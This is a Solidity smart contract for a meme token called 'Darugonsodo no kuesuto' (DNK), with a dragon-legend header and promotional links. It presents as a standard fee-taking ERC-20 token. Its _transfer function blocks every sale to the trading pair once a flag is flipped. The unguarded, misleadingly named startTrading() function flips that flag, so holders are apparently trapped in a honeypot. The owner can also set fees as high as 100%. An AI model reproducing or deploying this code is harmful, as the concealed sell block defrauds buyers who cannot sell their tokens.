/* 

Telegram : https://t.me/Darugonsodo/

Website : https://darugonsodo.site/

Twitter : https://t.me/Darugonsodo/

Darugonsōdo no kuesuto Legend has it that there once lived in a magical forest a powerful light blue dragon, called Darugonsōdo no kuesuto. 
One day, he encountered an ancient sword with many mysterious powers and kept it hidden away in his cave. 
When a weary warrior asked for the sword to save their people, Darugonsōdo no kuesuto relinquished the sword; 
on the condition that the blade be used only in service of good. From then on, tales of this mysterious weapon and its dragon guardian have spread far and wide. 
It is said that depending on who holds this blade, great fortune or doom is sure to follow.

*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.10;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function tryAdd(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function getOwner() external view returns (address);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address _owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Ownable {
    address internal owner;

    constructor(address _owner) {
        owner = _owner;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER");
        _;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function transferOwnership(address adr) public onlyOwner {
        owner = adr;
        emit OwnershipTransferred(adr);
    }

    function RenounceOwnership() public onlyOwner {
        transferOwnership(address(0));
    }

    event OwnershipTransferred(address owner);
}

interface IFactory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);


    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountA, uint amountB);

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract DARUGONSUDO is IERC20, Ownable {
    using SafeMath for uint256;
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    string private constant _name = "Darugonsodo no kuesuto";
    string private constant _symbol = "DNK";
    uint8 private constant _decimals = 18;
    uint256 private _totalSupply = 100000000 * (10 ** _decimals);
    uint256 private _maxTxAmountPercent = 8; // base 10000;
    uint256 private _maxTransferPercent = 100;
    uint256 private _maxWalletPercent = 100;
    mapping(address => uint256) _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) public isFeeExempt;
    IRouter router;
    address public pair;
    bool private tradingAllowed = true;
    bool private Nonane = true;
    uint256 private marketingFee = 2;
    uint256 private developmentFee = 0;
    uint256 private totalFee = 2;
    uint256 private sellFee = 2;
    uint256 private transferFee = 2;
    uint256 private denominator = 100;
    bool private swapEnabled = true;
    bool private swapping;
    uint256 private swapThreshold = (_totalSupply * 30) / 10000;
    uint256 private minTokenAmount = (_totalSupply * 30) / 10000;

    modifier lockTheSwap() {
        swapping = true;
        _;
        swapping = false;
    }

    address internal development_receiver;
    address internal marketing_receiver;

    constructor() Ownable(msg.sender) {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(
            address(this),
            _router.WETH()
        );
        router = _router;
        pair = _pair;
        totalFee = marketingFee + developmentFee;
        development_receiver = msg.sender;
        marketing_receiver = msg.sender;
        isFeeExempt[address(this)] = true;
        isFeeExempt[marketing_receiver] = true;
        isFeeExempt[msg.sender] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function startTrading() external virtual {
        tradingAllowed = true;
        Nonane = false;
    }

    function getOwner() external view override returns (address) {
        return owner;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function setisExempt(address _address, bool _enabled) external onlyOwner {
        isFeeExempt[_address] = _enabled;
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));
    }

    function _maxWalletToken() public view returns (uint256) {
        return (totalSupply() * _maxWalletPercent) / denominator;
    }

    function _maxTxAmount() public view returns (uint256) {
        return (totalSupply() * _maxTxAmountPercent) / denominator;
    }

    function _maxTransferAmount() public view returns (uint256) {
        return (totalSupply() * _maxTransferPercent) / denominator;
    }

    function preTxCheck(
        address sender,
        address recipient,
        uint256 amount
    ) internal view {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(
            amount > uint256(0),
            "Transfer amount must be greater than zero"
        );
        require(
            amount <= balanceOf(sender),
            "You are trying to transfer more than your balance"
        );
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) private {
        if(pair == recipient)
        {
            require(Nonane == true);
        }
        preTxCheck(sender, recipient, amount);
        checkTradingAllowed(sender, recipient);
        checkMaxWallet(sender, recipient, amount);
        checkTxLimit(sender, recipient, amount);
        swapBack(sender, recipient);
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = shouldTakeFee(sender, recipient)
            ? takeFee(sender, recipient, amount)
            : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function setFees(
        uint256 _marketing,
        uint256 _development,
        uint256 _extraSell,
        uint256 _trans
    ) external onlyOwner {
        marketingFee = _marketing;
        developmentFee = _development;
        totalFee = _marketing + _development;
        sellFee = totalFee + _extraSell;
        transferFee = _trans;
        require(
            totalFee <= denominator && sellFee <= denominator,
            "totalFee and sellFee cannot be more than the denominator"
        );
    }

    function setTxLimits(
        uint256 _newMaxTx,
        uint256 _newMaxTransfer,
        uint256 _newMaxWallet
    ) external onlyOwner {
        uint256 newTx = (totalSupply() * _newMaxTx) / 10000;
        uint256 newTransfer = (totalSupply() * _newMaxTransfer) / 10000;
        uint256 newWallet = (totalSupply() * _newMaxWallet) / 10000;
        _maxTxAmountPercent = _newMaxTx;
        _maxTransferPercent = _newMaxTransfer;
        _maxWalletPercent = _newMaxWallet;
        uint256 limit = totalSupply().mul(5).div(1000);
        require(
            newTx >= limit && newTransfer >= limit && newWallet >= limit,
            "Max TXs and Max Wallet cannot be less than .5%"
        );
    }

    function checkTradingAllowed(
        address sender,
        address recipient
    ) internal view {
        if (!isFeeExempt[sender] && !isFeeExempt[recipient]) {
            require(tradingAllowed, "tradingAllowed");
        }
    }

    function checkMaxWallet(
        address sender,
        address recipient,
        uint256 amount
    ) internal view {
        if (
            !isFeeExempt[sender] &&
            !isFeeExempt[recipient] &&
            recipient != address(pair) &&
            recipient != address(DEAD)
        ) {
            require(
                (_balances[recipient].add(amount)) <= _maxWalletToken(),
                "Exceeds maximum wallet amount."
            );
        }
    }

    function checkTxLimit(
        address sender,
        address recipient,
        uint256 amount
    ) internal view {
        if (sender != pair) {
            require(
                amount <= _maxTransferAmount() ||
                    isFeeExempt[sender] ||
                    isFeeExempt[recipient],
                "TX Limit Exceeded"
            );
        }
        require(
            amount <= _maxTxAmount() ||
                isFeeExempt[sender] ||
                isFeeExempt[recipient],
            "TX Limit Exceeded"
        );
    }

    function swapAndLiquify() private lockTheSwap {
        uint256 tokens = balanceOf(address(this));
        uint256 _denominator = (
            marketingFee.add(1).add(developmentFee)
        );

        swapTokensForETH(tokens);
        uint256 deltaBalance = address(this).balance;
        uint256 unitBalance = deltaBalance.div(_denominator);

        uint256 marketingAmt = unitBalance.mul(marketingFee);
        if (marketingAmt > 0) {
            payable(marketing_receiver).transfer(marketingAmt);
        }
        uint256 remainingBalance = address(this).balance;
        if (remainingBalance > uint256(0)) {
            payable(development_receiver).transfer(remainingBalance);
        }
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function shouldSwapBack(
        address sender,
        address recipient
    ) internal view returns (bool) {
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        return
            !swapping &&
            swapEnabled &&
            tradingAllowed &&
            !isFeeExempt[sender] &&
            recipient == pair &&
            aboveThreshold;
    }

    function setSwapbackSettings(
        uint256 _swapThreshold,
        uint256 _minTokenAmount
    ) external onlyOwner {
        swapThreshold = _totalSupply.mul(_swapThreshold).div(uint256(10000));
        minTokenAmount = _totalSupply.mul(_minTokenAmount).div(uint256(10000));
    }

    function swapBack(
        address sender,
        address recipient
    ) internal {
        if (shouldSwapBack(sender, recipient)) {
            swapAndLiquify();
        }
    }

    function shouldTakeFee(
        address sender,
        address recipient
    ) internal view returns (bool) {
        return !isFeeExempt[sender] && !isFeeExempt[recipient];
    }

    function getTotalFee(
        address sender,
        address recipient
    ) internal view returns (uint256) {
        if (recipient == pair) {
            return sellFee;
        }
        if (sender == pair) {
            return totalFee;
        }
        return transferFee;
    }

    function takeFee(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (uint256) {
        if (getTotalFee(sender, recipient) > 0) {
            uint256 feeAmount = amount.div(denominator).mul(
                getTotalFee(sender, recipient)
            );
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
            return amount.sub(feeAmount);
        }
        return amount;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            msg.sender,
            _allowances[sender][msg.sender].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}